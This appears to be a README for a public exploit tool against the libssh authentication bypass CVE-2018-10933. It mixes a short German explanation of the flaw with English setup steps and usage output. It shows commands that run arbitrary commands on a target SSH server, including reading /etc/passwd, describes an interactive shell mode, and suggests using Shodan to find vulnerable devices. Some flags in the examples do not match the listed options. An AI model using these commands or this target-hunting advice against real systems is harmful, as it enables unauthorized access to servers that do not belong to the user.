
libSSH-Authentication-Bypass
Eine Sicherheitslücke wurde in der server-seitigen Zustandsmaschine von libssh vor den Versionen 0.7.6 und 0.8.4 gefunden. Ein böswilliger Client könnte Kanäle erstellen, ohne zuvor eine Authentifizierung durchzuführen, was zu unbefugtem Zugriff führt.
Das Problem ergibt sich aus der Art und Weise, wie libssh den Authentifizierungszustand nicht verwaltet und wie dies verwendet werden kann, um die Authentifizierung zu umgehen. Grundsätzlich kann man sich die Verbindung als mehrstufigen Prozess vorstellen: Schritt1, Schritt2, Schritt3... Da libssh die Reihenfolge der Schritte nicht erzwingt, kann man im Grunde zu Schritt3 springen, ohne Schritt1 und Schritt2 zu durchlaufen.
Interessanterweise wurde dasselbe Problem bereits früher in der SSH-Bibliothek Paramiko gefunden: CVE-2018-7750.
Exploit-DB : https://www.exploit-db.com/exploits/45638
Informationen zu CVE-2018-10933 von libSSH : https://www.libssh.org/security/advisories/CVE-2018-10933.txt
Bugfix-Release von libSSH : https://www.libssh.org/2018/10/16/libssh-0-8-4-and-0-7-6-security-and-bugfix-release/
sudo apt-get install python3
gh repo clone EmmanuelCruzL/CVE-2018-10933
pip3 install -r requirements.txt
python3 main.py
usage: main.py [-h] [-p PORT] [-log] [-t | -c COMMAND | -i] host
Script for the vulnerabilities CVE-2018-10933
positional arguments:
host the ip or domain address of ssh server
options:
-h, --help show this help message and exit
-p PORT, --port PORT The port the service ssh, default [22]
-log, --logfile Logfile to write conn logs
-t, --test check the version of libSSH
-c COMMAND, --command COMMAND
command to execute
-i, --interactive open the interactive mode
python3 main.py 0.0.0.0 -port 22 -t

python3 main.py 0.0.0.0 -p 22 -c "cat /etc/passwd"

python3 main.py 0.0.0.0 -p 22 -l

[!] can find devices vulnerables using shodan.io
- ( 22 Port is default, other ports like (2222, 3333, 4444) might be including libSSH )
